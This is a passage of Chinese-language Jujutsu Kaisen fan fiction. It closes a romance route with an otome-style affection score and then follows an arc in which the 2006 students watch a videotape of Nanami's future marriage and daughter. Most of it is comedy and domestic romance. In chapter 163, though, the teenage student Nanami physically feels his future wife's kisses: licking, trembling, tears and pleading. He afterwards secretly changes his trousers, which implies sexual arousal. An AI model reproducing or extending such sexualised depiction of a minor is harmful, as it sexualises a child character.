成功?什么成功?是把他复活了吗? 眼皮像是灌了铅般沉重,他费力地睁开眼,夕阳的光芒刺得他眨动眼皮,光斑出现在视网膜上,把眼前的人模糊成了一片。 “杰?” 这个声音让他的心脏猛地一颤。空茫茫的瞳孔终于找到了焦距,浓郁的紫色和清澈的湛蓝对视着。 夏油杰率先笑了起来:“好久不见,悟。” 五条悟轻轻一拳锤在了他的肩膀上,也跟着笑了起来。 “好久不见,杰。” 然而并非所有人都能分享这份重逢的喜悦。周围投来的目光中混杂着怀疑与戒备——毕竟在众人记忆里,夏油杰仍是那个犯下累累罪行的极恶诅咒师。 五条悟的声音刻意提高了几分,确保在场的每个人都能听清 “杰,多亏你发来的短信,我们才能把这些咒灵一网打尽。”他好奇地打量着挚友,问道,“你在身体里的时候,能感觉到外面的动静吗?” 能的。 这具身体可是他的,怎么可能完全被外来者占据。 但他无法控制身体,只能旁观着恶人使用他的身体做出伤害悟的事情。幸好,事情还没到完全无法挽回的地步。 “能。但是……悟,那个短信……” “诶?全部都能吗?”一个清脆的女声突然插入,夏油杰的话戛然而止。今野桃探过头来,琥珀色的眸子里盈满笑意,看起来天真无邪,仿佛只是随口一问。 但夏油杰的背脊却窜过一阵寒意,他想起了她把“他”塞到麻袋里时,说的一句话。 ——‘记住咯,不要乱说话。’ 什么叫不要乱说话?现在他好像明白了。 要说都记得的话,那他岂不是也知道那个恶人是如何利用自己的身体去引诱自己学弟的女友?传出去以后他还怎么见人? “抱歉,我的意识有时候会很模糊,也记不清楚了。”他觉得自己的脸皮都要烧起来了,耳根隐隐发烫,他带着歉意对五条悟说道。 “这样啊……”五条悟若有所思地点头,也不知道是信了还是没信。 夏油杰果断转移话题,对学弟说道:“七海是要结婚了吗?恭喜。既然这样,我也送上一份贺仪吧。” 七海建人抿了抿唇,几秒钟后,沉声回道:“好,谢谢。” 咒灵们的阴谋彻底落空,故事有了一个美好的结局。 夕阳的余晖将两人的影子拉得很长,在人行道上交织成一道亲密的剪影。七海建人的手指与女友十指相扣,掌心传来的温度比阳光更暖。 “好耶,我们有假期了,七海先生,我们什么时候出发呀!”今野桃雀跃地晃着两人交握的手,发梢在风中扬起欢快的弧度, 西装革履的男人突然停下脚步,转过身看向她。 她的轮廓被残阳镀上了一层金灿灿的柔光,笑容晃得人移不开眼,让他的喉咙微微发紧。 那次不过是深夜闲聊时随口提起的愿望,没想到被她如此珍而重之地记在心底。他的指节不自觉地收紧,将她的手包裹得更牢。 “现在还不行,再等等。”他沙哑着声音说道。 “这样啊……”今野桃失望地嘀咕了一句,忽然,她轻轻摇了摇他的手掌,“你没有因为我自作主张而生气吧?” “没有。”他回答得太快,反而暴露了内心的动摇。在她的注视下,这个向来沉稳的男人难得显出一丝窘迫,“我只是……” 晚风拂过他的头发,金色发丝的掩映下,他的睫毛微微颤动。 “我只是想起来,还没有向你求婚。” 咦?没有吗? 今野桃瞪大了眼睛,随后讪讪笑了起来。 好像是哈……不过求不求婚什么的,她并不在意。 她一下抱住了他的手臂,整个人都贴了上去。 “那七海先生愿意跟我结婚吗?” 霎时间,男人僵住了。夕阳在这一刻突然变得灼热,男人僵直的背影被镀上一层橘红的光晕,连耳尖都红得几乎透明。 良久,她听见他虽轻却郑重的回答—— “嗯。” 【七海建人好感值:100】 【七海建人—玫瑰(HE) ——玫瑰玫瑰最娇美,玫瑰玫瑰最艳丽。长夏开在枝头上,长夏开在我院里。】。 【后日谈】。 [2006年夏] 电话铃声划破午后的宁静,七海建人正在整理任务报告。班主任言简意赅的通知让他微微蹙眉,说门卫室有一个他的包裹。 家里说要给他寄东西吗?好像没有? 当他匆匆抵达时,发现两个学长也在这里。五条悟百无聊赖地把玩着墨镜,夏油杰则倚在墙边翻阅着什么。 “怎么了?”他疑惑问道。 门卫处的老师将包裹递给他,表情严肃地说道:“这是寄给你的包裹,但没有寄件人。” 没有寄件人? 七海建人迟疑开口道:“我问过了,家人说他们没有寄东西给我。” “嗯,我们调查了一下监控,发现它是突然出现在这里的。” 一般学生家里寄过来的包裹他们都不会打开,但来路不明的自然要仔细检查。 结果他们发现,这里面是一卷录像带。 “我知道我知道,就是那个吧!贞子的传说!”五条悟兴奋地举手说道,“打开录像带后贞子就会从里面爬出来!” 另一个学长合上手中的书本,双手合十作恳求状:“请务必让我们跟你一起看这卷录像带,好吗?” 万一是贞子的话,说不定会是特级咒灵!那他可就赚大了!作为流传甚广的传说级诅咒,贞子一定很强吧! 学长们期待的目光都快把他烧穿了。 七海建人:……他还能拒绝吗? 五条悟和夏油杰非常积极地要把电视搬到教室里,等一切准备就绪,教室里已经坐满了人。 二年级的班主任、未来的校长夜蛾正道坐在第二排的最中间,后面还有他的同期灰原雄,旁边的家入硝子朝他淡淡点头。 “哈哈,等下我们会保护你的!”五条悟和夏油杰把七海建人拱到了第一排的最佳观影位置,一左一右夹住了他。 七海建人:突然有种不好的预感。 第162章 伴随着一阵雪花纹路闪过,电视机屏幕上出现了一行字幕—— [2022年] “嚯!”庵歌姬差点从椅子上跳起来,手里的零食撒了一地,“这录像带还能预知未来?” “哇哦,看来我们赚到了呢。”冥冥坐在庵歌姬身边,带着意味不明的笑容。 本以为只是来凑个热闹,看看是不是真的有传说中的“贞子”咒灵,谁料竟然还有意外收获?也不知道这个情报能卖多少钱。 前面的五条悟掰着手指算了一下,眉毛高高挑起:“2022年,那我岂不是已经三十三岁了?!” “三十二岁,悟。”夏油杰纠正道,“你是年底过生日的。” “知道了知道了。”五条悟咧嘴一笑,不怀好意地说道,“你就是不想我比你大一岁,是吧?” 他们两人,一个是1989年十二月出生的,一个是1990年二月份。谁能想到,看起来更加成熟的夏油杰,其实比五条悟小三个月呢。 “我只是实话实说。”夏油杰扬起一个“和善”的笑容。 “你就是小心眼!心眼比你的眼睛还要小~”五条悟作了个鬼脸。 可惜了,录像带已经开始播放,不能去外面跟同学好好“交流感情”。只能你推我一下,我推你一下。 夹在中间的七海建人面无表情地被两个学长挤来挤去,制服都被揉出了褶皱。他死鱼般的眼神无声控诉:有没有人为我发声? 终于,滋啦的电流声响起,画面开始闪烁。夜蛾正道一个拳头砸在了不安分的两人头顶,手动消音了。 “安静!”班主任的怒吼震得窗户嗡嗡作响。 脑门上顶着一个热气腾腾的大包,两个问题儿童乖巧坐好。 ‘偷到了吗偷到了吗?’【五条悟】的声音响起,戴着墨镜、和十六年前完全没有区别的男人趴在墙头上,用气音朝屋子里喊道。 又一个身影鬼鬼祟祟地出现,是穿着休闲装的【夏油杰】。他怀里抱着个鼓鼓囊囊的麻袋,蹑手蹑脚地靠近,小心翼翼地递给了【五条悟】。 ‘拿到了。’他露出坏笑,‘我们快走。’ 【五条悟】比了个OK的手势,接应自己的好友翻墙而出,两人的姿势熟练得令人心疼。 夜蛾正道深吸了一口气,手抖 个不停。 十六年过去了,自己的学生已经沦落到这个地步了吗! “等、等等!”五条悟试图为自己开脱,“万一我们是在调查什么特殊的任务……” “没错没错!”夏油杰拼命点头,“我们绝不会做坏事的,夜蛾老师!” 也对,虽然他们两个确实有很多毛病,但偷东西这种违法又没品的事情,应该不屑于去做吧……肯定是事出有因。 夜蛾正道深吸一口气,压下怒气,继续看着屏幕。 两人抱着麻袋在街头狂奔,【五条悟】的白色短发被风吹得乱糟糟的,【夏油杰】的丸子头也散了几缕刘海。他们七拐八绕,最后躲进一个偏僻的小公园,气喘吁吁地坐在长椅上。 ‘轻点轻点……’【五条悟】小心翼翼地把麻袋放在长椅上,手指灵活地解开绳结。教室里的夜蛾正道额头青筋暴起,拳头已经捏得咔咔作响。 伴随袋子落地的闷响,夜蛾正道正义的铁拳终究还是又落在两人的头上了。 “什么任务!”班主任一字一顿地怒吼,每个字都像从牙缝里挤出来的,“要、偷、小、孩!” 只见麻袋里赫然装着一个金发的小女孩,她是清醒的,抱着膝盖坐在袋子里的样子天真又可爱。 她看起来应该只有三岁左右,穿着漂亮精致的公主裙,羊角辫梳得整整齐齐,只是刚刚被装在袋子里后略微有点松散。 五条悟和夏油杰缩着脖子不敢吭声,活像两只鹌鹑。 难道未来的他们真的走上歧途了? ‘嘿嘿,小葵,早上好呀。’【五条悟】朝她打了个招呼。 电视机前传来了好几声呼气——原来他们认识啊! ‘早上好,悟叔叔,杰叔叔。’女孩用稚嫩的声音回应,一看就被教得很好。 【夏油杰】不知道从什么地方掏出了一把梳子,动作娴熟又自然地拆开女孩松散的发辫。‘转过去一点。’他轻声说,手指穿梭在柔软的金发间,熟练得仿佛做过无数次。 ‘真是的,既然这么麻烦,直接抱出来不就好了,干嘛非要用麻袋呢。’【五条悟】嘟嘟囔囔地说道。 【夏油杰】笑眯眯地回道:‘我想这样做很久啦。’ 可惜他打不过她,没办法报复回去,所以只能“报复”在小孩身上咯。 果然是小心眼的眯眯眼。 【五条悟】吐了吐舌头,三十多岁的男人做起这种JK似的表情,竟然也不显得违和。 他撑着下巴,看着【夏油杰】给女孩梳头,目光在女孩的身上来回逡巡,感慨道:‘小葵啊,你怎么越来越像你爸爸了。’ 小女孩乖乖任人梳头,闻言只是转动眼珠看向他,奶声奶气地回答:‘因为我是爸爸生的呀。’ ‘我知道你爸爸是谁。’【五条悟】撇了撇嘴,‘毕竟那可是我们这些人之中唯一一个结婚生小孩的。’ 还没来得及猜测这个孩子是谁的,就从五条悟的口中听到了这样一个闻者伤心见者流泪的惊天大消息,教室里顿时飘出了一阵惨叫。 “不要啊……难道我单身十六年了吗?!” “为什么要让我知道这个消息……” “我知道了,我一定是有女朋友但是没有结婚!” “这对吗?”夏油杰抱住脑袋,难以置信,“我这么受欢迎,怎么会十六年后还单身?” “没事,五条不也单身吗。”家入硝子咬着棒棒糖,露出一丝幸灾乐祸的笑。 大家都单身,说明什么? 说明不是他们的问题!是咒术师!这个职业有问题! 至于那个幸运儿是谁…… 忽然,所有人的目光都聚集到了最前排。 他们之中,唯一金色头发的就是…… “可恶!我们当中出现了一个叛徒!”五条悟撸起袖子,“我今天必须清洗叛徒!” 说着,他就要把七海建人“掐死”,夏油杰在旁边拦着夜蛾正道。 灰原雄为难地左右看看,试图挽救自己的同窗。 前排快要乱成一锅粥了。 就在此时,电视里,女孩拉了拉【五条悟】的袖子,认真地说道:‘别伤心,悟叔叔,我把我的糖给你,爸爸说你很爱吃糖。’ 她从本就不大的口袋里掏出了一颗糖果,塞进了【五条悟】的手中,对他甜甜地笑了笑。 【五条悟】捂住心口,好像被无形的箭支命中。 好、好可爱…… 想偷。 不对,他已经偷出来了! 没错,他偷到了,就是他的! “就这样,说好了。”五条悟果断开口道,“你女儿以后跟着我就行。” 七海建人强忍着翻白眼的冲动,一字一句地说道:“五条学长,想要就自己生。” 那怎么行,顺产哪有顺手快。 突然,一阵手机铃声响起,众人刚要低头,才发现原来是电视里传出来的。【五条悟】掏出手机看了一眼,又若无其事地放下。 ‘没事,骚扰电话。’ 众人:“……” 放屁,他们都看见了!来电显示是“七海”!把别人小孩偷走,现在家长上门了吧! 画面切换,别墅里,【七海建人】举着手机,一直到听筒那边传来忙音。 他的额头上暴起了青筋,气得咬牙切齿。 就在他火冒三丈的时候,一双柔白的手臂从背后环抱住他的腰身。女人将脸贴在他紧绷的背脊上,声音绵软中带着些许沙哑。 ‘生气做什么,小葵让他们带走,不是更好吗?’她轻轻蹭了蹭他的后背,‘他们上次就说了,想带小葵去玩。他们可是最强,有什么不放心的。’ 她打了个哈欠,神色间都是晨起的慵懒。 【七海建人】握住女人的手掌,紧皱的眉毛没有因此放松分毫。 ‘我当然相信他们的实力。但是他们……真的会带小孩吗?’ 这个向来理性的男人此刻脸上写满了不信任——他相信学长们的实力,却对他们的靠谱程度持保留态度。 然而妻子已经攀附上来了,犹如藤蔓将他缠住,温热的气息喷洒在他的颈侧。 ‘我们也好久没有度过二人世界了,今天就陪陪我吧。’ 工作占据了大半时间,孩子又分走了剩余的大部分精力,属于两人的时光总是转瞬即逝。 难得有个空闲,怎么能不好好抓住呢。 【七海建人】还想说什么,却被勾着脖子低下头。 一个温柔的吻落在他的唇上,女人狡黠地眨眨眼,说道:‘我饿了,七海先生。’ 男人的耳尖瞬间染上绯色,他轻抚过妻子垂落的发丝,声音不自觉地放柔:‘我去准备早餐。’ ‘一起吧,我给你打下手。’ 两人并肩站在厨房里,气氛温馨又和睦,看得人心里软软的。 “真好啊,娜娜米过得这么幸福呢。”灰原雄对着好友竖起了大拇指,却突然发现了他的不对劲。 娜娜米的脸怎么这么红,哇,好像一路红到脖子根了! 这么容易害羞的吗?灰原想了想,还是体贴地别开视线,假装没注意到好友的窘迫。毕竟那是十六年后的事,现在害羞未免太早了。 但只有七海建人自己知道,不是那样的。 从那个女人出现后,事情就开始不对劲起来了。似有若无的触碰隔着衣服还不明显,但就在刚刚,屏幕里,男人低头亲吻女人时,有什么奇怪的东西也碰了碰他的嘴唇。 软软的,好像还有点淡淡的香气。 那是什么?总不会是…… 第163章 在两人默契的配合下,早餐很快摆满了餐桌。烤得金黄酥脆的面包片散发着诱人的麦香,旁边是冒着热气的味增汤,白瓷小碟里盛着自制的果酱,还有煎得恰到好处的荷包蛋和温热的牛奶, 奇怪的是,屏幕里的两人取出了三份碗筷。正当众人疑惑之际,门被敲响了。 女人趿着拖鞋去开门,晨光中站着一个粉发青年,额前的碎发还带着晨跑的汗水。他咧开嘴露出阳光般灿烂的笑容。 ‘早上好,小桃姐!’他活力满满地打了个招呼后,走进屋子又同【七海建人】问好,‘早上好,七海先生!’ ‘早上好呀,悠仁。’女人忍俊不禁地摇头,‘五条老师的工作又甩给你了吗?’ 青年嘿嘿笑着:‘五条老师忙了这么久,也该休息一天啦。’ 【七海建人】闻言,招呼他过来坐下一起吃。 ‘他已经同我说过了,吃完早餐我跟你一起过去。’男人拉开椅子,淡淡说道。 ‘好嘞。’ 三人一同在餐桌边上坐下。 五条悟恍然大悟:“原来我毕业以后留校做了老师啊!” 不知道杰去做什么了。 “啧,悟真的能教学生吗?”夏油杰提出了质疑,“不会都像这样,把任务甩给学生去做吧?” “乱说!我当然能教!有最强做老师,那些小屁孩们可别太荣幸了!” 五条悟一抬下巴,得意地说道,“你看看那个叫‘悠仁’的,很明显就是我教出来的!” 那可不,虽然外表不相似,但两人的气质却诡异的如出一辙。但凡认识五条悟的人,都能从悠仁的身上看出几分眼熟。 叮—— 手机铃声响起,屏幕里的女人低下了头,拇指划过时,眼中露出了些许笑意。 ‘五条发消息过来了。’她把手机伸到丈夫的面前,展示出照片,‘他们去游乐园玩了。’ 照片的中间,是七海葵可爱的笑脸,她的身后,是两个和她同框的脑袋。 七海葵伸出圆圆的手,比了个V字,【五条悟】和【夏油杰】用食指和中指组成了爱心的上半部分。三人加一起,正好就是一颗心形。 很有趣的画面,值得纪念。 屏幕外的五条悟疯狂拍照,恨不得自己也进去演一集。 而屏幕里的【七海建人】看着照片,常年紧抿的唇角终于松动,露出一个几乎不可察觉的温柔弧度。 但有人瞪大了眼睛,眉毛皱得都要打成了结。 然而就在这时,有人猛地倒吸一口冷气。【虎杖悠仁】的眉毛拧成了疙瘩,目光在【七海建人】和女人之间来回游移,喉结上下滚动着,像是咽下了什么难以启齿的话。 最终,他像是下定了决心般深吸一口气。 ‘七海先生,你认识他吗?’他指着【夏油杰】问道,声音因为紧张而略显干涩。 【七海建人】顿了顿,颔首回道:‘认识,他是我的学长,怎么了?’ 【虎杖悠仁】的表情顿时变得十分古怪,他双手交叉,撑在桌子上,抵着下巴,语气深沉地说道:‘难怪他的胆子这么大,连学弟的墙角都要撬!’ 学弟的墙角都要撬是什么意思? 屏幕外的夏油杰猛地抖了一下眼皮。 ‘七海先生,你可不要怪我多话。’青年握紧了拳,‘一定要提防身边的小人。’ 小人?谁?我吗? 夏油杰无辜地看向金发学弟。对上了七海建人骤然锐利的目光。 【七海建人】在家里并未戴眼镜,狭长的眼睛里写满了疑惑。 ‘没关系,虎杖同学,你想说什么就直说吧。’他坦然说道。 【虎杖悠仁】却沉默了。 小桃姐似乎也认识那个叫夏油杰的,但她没有提起他骚扰她的事情,是知道夏油杰和七海先生的关系,所以不想让丈夫为难吗?那他挑明的话,会不会令小桃姐感到困扰呢? 【今野桃】突然明白了什么,她扶着额头笑了起来,笑容无奈又好笑。 ‘悠仁,不是你想的那样……’ ‘七海先生,那个叫夏油杰的……曾经骚扰过小桃姐!’ 两人同时开口,但【虎杖悠仁】略显激动的嗓音盖过了她。 教室里顿时鸦雀无声,仿佛一道闪电落下,把夏油杰劈成了碎片。 伴随着话音落下,电视里的画面发生了变化。 ‘你好,我是隔壁新搬来的邻居,我叫夏油杰。’ ‘是不喜欢饼干吗,夫人?’ ‘您客气了,期待您的甜点。’ ‘您的丈夫还真是幸福啊。’ ‘如果有什么需要帮忙的,请尽管叫我。’ 一幕幕场景切换,屏幕前的观众逐渐石化,失去了颜色。 极具正义感的班主任已经受不了了,他撸起袖子,抄起旁边的扫把就要清理门户。 “真是人渣啊……”家入硝子含着棒棒糖,模糊不清地感慨。 “假的!都是假的!”夏油杰被打得上蹿下跳,最后试图夺门而逃。 “哈哈,”五条悟一个猛虎下山,将他扑倒,拽着他的裤腰往后拉扯,“还想跑?给我老老实实地接受审判吧!” “假的!那不是我!”夏油杰还在声嘶力竭地呐喊,可惜没人相信。 五条悟看准机会就往他的脸上招呼,一定要为民除害。 “别打了别打了,”庵歌姬在后排翘着二郎腿劝架,闲闲地开口道,“这样是打不死人的呀!” 灰原雄挤了过来,拍拍七海建人后背,低声道:“别哭,兄弟肩膀借给你。” 七海建人:“……谢谢,但是不用了。” 在夏油杰鼻青脸肿之前,【七海建人】终于开口了。 ‘情况比较复杂,虎杖同学。’他慢条斯理地将盘子里的煎鸡蛋切成块,‘之前的夏油先生是被人顶替的,敌人夺取了他的身体,想要打入我们的阵营来挑拨离间,并且意图封印五条先生。’ 他将装着切好的那份煎鸡蛋的盘子推给了妻子,看着【虎杖悠仁】愣住的脸,笑了笑。 ‘谢谢你告诉我,虎杖同学。’ ‘没、没事……’【虎杖悠仁】挠了挠头,傻笑道,‘原来是敌人,那真是太好了。’ 没有人受到伤害。 “竟然是有人顶替了夏油,真可怕。” “还有这种术式?必须警惕起来。” “是啊,连夏油都能顶替,那岂不是我们都很容易中招了?” 大家若无其事地开始讨论起来,夜蛾正道的棍子也收起来了,五条悟的拳头也放下了。 夏油杰摸着嘴角的伤口,发出斯哈斯哈的声音。 所以呢?无人在意他了是吗? 早餐过后,【七海建人】整理着西装袖口准备出门时,突然感觉衣袖被人轻轻拽住。他低头看去,妻子仰着脸,睫毛在晨光中投下细碎的阴影。 ‘等一下。’她眨了眨眼睛,对【虎杖悠仁】说道,‘能麻烦悠仁在这里稍微坐一会儿吗?’ ‘啊,好的。’【虎杖悠仁】呆呆地坐了回去。 他低头,掏出手机玩了起来。屏幕前的众人发现他的手机里有好几个群聊,其中弹出很多信息的那个叫做—— 【东京咒高2017届】 哦?是班级群吗? 点开一看,【五条悟】发来的照片像泄洪似的刷屏。 【虎杖悠仁】一张一张点开看,电视机前的人也跟着一张一张地点评。 “我的拍照技术越来越好了嘛。”五条悟一边举着手机一边对夏油杰说道。 夏油杰也在举手机拍照,还不忘回嘴:“瞎说,明明有很多照片都是我拍的。” “你拍的那些构图都歪了” “你拍的人像都糊了。” 两人打嘴仗的时候,中间的人突然起身,椅子和地面发出刺耳的摩擦声。 “抱歉,”七海建人低着头,嗓音沙哑地说道,“我去一趟卫生间。” “去吧去吧。”学长们大发慈悲让他离场了,还不忘叮嘱,“早点回来哦。” 七海建人没有回答,他跌跌撞撞地跑了出去。 “娜娜米还怪容易害羞的。”五条悟推了推墨镜,注意力大多集中在了电视上,漫不经心地说道,“脸好红啊。” 夏油杰也在专注看电视,随口接道:“确实。” 离场的七海建人不知道学长们是如何说他的,卫生间的门被用力关上,发出了一声闷响。他倚靠在隔板上,捂着嘴,慢慢地滑了下来。 有、有什么东西,在舔他! 湿软的触感像蛇信般滑过唇缝,带着不容抗拒的力道细细描摹着他的唇形。他咬紧牙关,那东西却灵活地撬开齿列,轻轻点过他的舌尖。细密的刺痛伴随着令人战栗的酥麻感顺着脊背窜上来,连指尖都不受控制地轻颤。 有一个声音仿佛从远处传来,它滑进他的耳道,敲击着他的耳膜。 ‘喜欢……七海先生……’ 仿佛每一根神经都被挑动,七海建人喉结剧烈滚动,仰起的脖颈绷出脆弱的弧度。生理性的泪水溢出眼角,将金色的睫毛染得湿漉漉的。他蜷缩在隔间角落,校服裤被揉抓出凌乱的褶皱。 ‘最喜欢……七海先生了……’ “呜……” 破碎的哀鸣从指缝间漏出,却毫无作用。 停、停下,快停下……求求了…… 第164章 就在五条悟和夏油杰打算去卫生间寻找久久未归的学弟时,七海建人终于推开了教室的门。他的神色平静如常,只是额前的 金发湿漉漉地贴在皮肤上,还在往下滴着水珠。 “七海——”夏油杰笑眯眯地招手,故意拖长了音调:“快来,差点就要错过精彩剧情咯。” “什么啊,明明是想让学弟跟你一起社死吧。”庵歌姬吐槽道。 七海建人没说什么,重新坐回了自己的位置。他没注意到,五条悟墨镜后的蓝色瞳孔一直追随着他转动,眼睛里闪烁着好奇的光芒。 尽管少年已经极力掩饰了,但泛红的眼角、湿润的睫毛,还有略显急促的呼吸,都从细枝末节处展现出了几分异样。 其中最为明显的证据,当然还得是—— 他换了条裤子。 没错,让大家怀疑是不是在卫生间里突然穿越了的学弟,其实是偷偷回宿舍换了条裤子。 如果不是“六眼”的敏锐观察力,恐怕没人会发现这个细节。毕竟高专的制服款式都一模一样。 “怎么了,悟?”夏油杰发现了好友的走神,越过学弟的肩膀,拍了拍他。 “啊,没什么。”五条悟推了推眼镜,决定暂时保留这个有趣的发现。 电视机里,【七海建人】和【虎杖悠仁】已经和一级咒灵打起来了。成熟男人游刃有余地闪避着,将出手的机会让给更需要锻炼的后辈。 伴随着哀嚎声,咒灵最终倒在了青年的拳头之下。 【七海建人】揉了揉眉心,无奈开口道:‘你怎么来来回回还是这一招。’ 【虎杖悠仁】傻呵呵地笑着回答:‘因为很好用呀!’ 招不在新,有用就行。 最后一道黑色的闪光划破空气,咒灵彻底烟消云散。临死前,它还在发出不甘的咕哝。 【虎杖悠仁】站在原地发了一会儿愣,在男人走过来的时候,突然说道:‘这个咒灵,好像是由人类的悔意凝聚而成的。’ ‘嗯。’【七海建人】对此并不感兴趣。只是将咒灵造成的损失拍照记录,准备写进报告里。 ‘那七海先生,有什么后悔的事情吗?’【虎杖悠仁】低下头,脚尖碾了碾地面。 他的目光直勾勾的没有焦距,显然陷入到了回忆之中。 ‘我最后悔的事情,就是没有救回爷爷。’如果是咒术师的话,说不定可以治好爷爷的病吧。 虽然爷爷脾气暴躁,性格孤僻,但……他是他最后的亲人。 爷爷去世后,他就是孤身一人了。 咚。 【七海建人】用力地在他的脑袋上敲了一下,让他回过神。 ‘不要被咒灵影响了。’他淡淡说道,‘已经发生的事情,再怎么后悔,也于事无补。人最重要的,是往前看。’ ‘诶?我是被咒灵影响了吗?’虎杖悠仁恍然大悟,‘非常抱歉!’ 他用力晃了晃脑袋,将杂念甩出去。 【七海建人】不置可否,将手机塞给了他:‘没事做的话,就来拍照。’ ‘好嘞!’青年又干劲满满地开始忙碌起来了。 戴着眼镜以至于看不清楚情绪的男人单手插兜,嘴角抿得笔直。 后悔吗? 怎么会没有呢。 他这辈子最后悔的事情,大概是被自己的好友救下,但好友却将半边身体永远留在了山里。 伴随着男人陷入回忆的漩涡之中,屏幕里的画面也跟着变化。 十五岁的【七海建人】与电视机前的他如出一辙,恍惚间,两个时空的界限似乎被彻底模糊。 停尸房的冷气嘶嘶作响,少年背靠着冰凉的瓷砖墙,白色的毛巾搭在他的眼睛上,好似这样就可以阻止眼泪流下来。 砰! 椅子被狠狠踹翻,在空荡的房间里发出刺耳的回响。可这宣泄般的举动,丝毫没能减轻他胸中翻涌的痛楚。 带着怒火和哭腔的声音在屋子里回荡。 ‘本应该只是一个平平无奇的二级咒灵讨伐任务啊……’【七海建人】颤抖着声音说道,‘为什么……为什么会是产土神信仰……那是个土地神啊……’ 一个十分逼近特级的一级咒灵。 刺眼的白炽灯光从天花板直射而下,在冰冷的金属停尸台上投下一片惨白的光晕。【灰原雄】安静地躺在那里,像是睡着了一般。血液在他的脸上蜿蜒,然后凝固。 【夏油杰】的眼下带着青黑,他亲手为这个最崇拜自己的学弟盖上了白布。 一条生命就此落下了帷幕。 电视机前的众人都沉默下来了。 直到一个笑声打破了这片寂静。 “哈哈,竟然还能看见自己的死期吗,很有意思诶。”灰原雄趴在七海建人的背上,勾住他的脖子,“多亏了娜娜米,这么多年都没有忘记我。” 是啊,十六年过去了,那段短暂却快乐的求学时光在七海建人的心里刻下了无法忘却的深刻印记。 “不过,就像娜娜米自己说的那样嘛,人最重要的,是往前看呀。”灰原雄含笑对七海建人说道。 七海建人沉默地侧过头,不肯跟他对视。如果灰原真的因为救他而死,他怎么会把他忘记。 真是固执啊,但让人生不出厌恶,只余怜悯。 咒灵被祓除,电视里的两人收拾完现场后,准备离开。走到楼梯口,已经有人在迎接他们了。 ‘爸爸!’又软又甜的声音如一个开关,将男人融化成了一汪春水。 ‘小葵。’他蹲下,张开手臂接住了扑过来的女孩。 【五条悟】和【夏油杰】伸了个懒腰,笑嘻嘻地说道:‘成功送达,一起吃晚饭吗,娜娜米。’ ‘不了,小桃还在家等我。’【七海建人】拒绝道,‘我要回家给她做饭。’ 这么多年,已经养成了习惯。 ‘呕。’【五条悟】吐了吐舌头,‘不要在单身人士面前秀恩爱好吗。’ “真没用。”庵歌姬从鼻子里哼出一声,“明明是自己找不到对象,还要怪在学弟身上。” “哦呀,五条家知道这个情报,一定会非常伤心吧。”冥冥微微一笑,手指在手机上点来点去。 【五条悟】眼珠一转,笑嘻嘻地凑了上来,用一副商量的口吻说道:‘呐,娜娜米,不如把你的女儿交给我来培养吧,你看我养了这么多小孩,很有经验的!’ 画面一秒切换,正在祓除咒灵的某个海胆头忍不住打了个哆嗦,脸上出现了恶寒的表情。 总感觉有脏东西。 他摇摇头,继续做任务。 【七海建人】的嘴角抽了抽,刚要说话,怀里的女孩脆生生地开口道:‘悟叔叔如果喜欢小孩,可以自己生一个呀!’ ‘哈?’【五条悟】往后一仰,双手背在脑后,‘我是男人,怎么能生。’ ‘但是爸爸就能生我,你肯定也可以的。’女孩郑重地点头,‘悟叔叔可以找我妈妈,硝子阿姨说了,等她有了老公,也来找我妈妈。’ ‘……’ “……” 屏幕内外,两个五条 悟的眼镜都滑了下来,露出一双充满震惊的瞳孔。 她、她说啥? 在【五条悟】还没反应过来的时候,【七海建人】抱起女儿,飞快地上车,油门一踩,人已经冲出去了。 吃了一屁股尾气的【五条悟】愣愣开口道:‘啊……不是……那个……孩子是娜娜米自己生的?’ 【夏油杰】疑惑发问:‘而且听起来好像是七海的妻子做的?什么术式能做到这种事情?难道是网上说的,看谁谁怀孕?’ 哇! 观众们不约而同地往后倒。 这个术式听起来好歹毒!!! 幸好【五条悟】很快就回答了他。 ‘不是,但仔细想想……好像也不是不行。’【五条悟】若有所思地说道,‘小桃的术式嘛……现在应该是叫做“无为转变”吧。’ 他说得有点含糊,掩盖了她自身真正的术式。 ‘所谓“无为转变”,就是改变灵魂的形态,并且使身体随之一起改变。’【五条悟】单手支着下巴,‘生孩子应该不难……’ 难怪之前请了好几个月的假,说是出去度蜜月! 他兴奋地搓了搓手:‘下次我要问问娜娜米,可不可以看看他的肚子!’ ‘啊,他一定不会同意的……’ 没事,大娜娜米不同意,这里不还有一个小的吗。 “等、等等!五条学长,我现在没有……”七海建人拼命挣扎,衬衫领口被扯得凌乱不堪。夏油杰从背后架住他的双臂,五条悟则坏笑着去解他的扣子,“救、救命!” 金发少年向班主任投去求救的目光,声音里带着少有的慌乱。 夜蛾正道轻咳一声,目光游移了一瞬,最终还是正义地伸出援手。 “悟,杰!”两个拳头让男生冷静了下来,“不要欺负学弟!” 男生们抱着脑袋嘀嘀咕咕:“小气鬼……” 电视里的【七海建人】像是身后有鬼在追似的回到了家,下车时,他的呼吸还有些急促,领带松散地挂在脖子上。 他刚踏上台阶的第一步,脚步就不由自主地停住了。透过落地窗的玻璃,妻子正蜷缩在沙发的中间,像只慵懒的猫。 夕阳的余晖斜斜地穿过纱帘,在她光裸的脚边投下斑驳的光影。电视屏幕的荧光映在她带笑的脸上,似乎看到了什么有趣的内容,她突然捂住嘴,肩膀轻轻耸动,发丝随着笑声微微颤动。 忽然,她若有所觉地转过头,目光与他隔空相遇。 ‘七海先生!’她光着脚,哒哒地跑了过来,把门打开,探出头喊道,‘还有小葵,欢迎回家呀。’ ‘妈妈!’女孩又扑进了她的怀里。 女人掂了掂她的重量,笑道:‘今天玩得开心吗?’ ‘开心!’女孩在她的脸上印下一个亲亲,‘不过我也很想妈妈!’ 女人笑得眼睛都要眯起来了,【七海建人】取下眼镜,琥珀色的瞳孔里也流转着些许笑意。 然后,女人对他眨了眨眼睛:‘那七海先生呢?有想我吗?’ 【七海建人】愣住。 在一大一小的注视中,他状似不经意地用指尖擦了擦眼廓,低声说道:‘有的。’ 他也很想她。 女人两三步跳下了台阶,像枚炮弹一样冲进了他的怀里。她抬头,在他的唇上亲了响亮的一口。 ‘我也想你!’ 【七海建人】稳稳地接住了她们两个,毫不费力地将她们抱了起来。 ‘晚上想吃什么?我记得冰箱里还有牛肉……’ ‘嗯嗯,我已经把它拿出来解冻啦!今晚就吃煎牛肉吧!’ ‘好……’ 画面逐渐变暗,这卷录像带已经放映到了尾声。未来的故事已经落幕,但现在的故事还未开始。 一切都还来得及,这份来自未来的馈赠,他们一定会好好珍惜。 “真不错,感觉自己看了一部纯爱电影!” “哈哈,演员都是熟人是吗。” “五条家主倾情出演哈哈哈哈……” 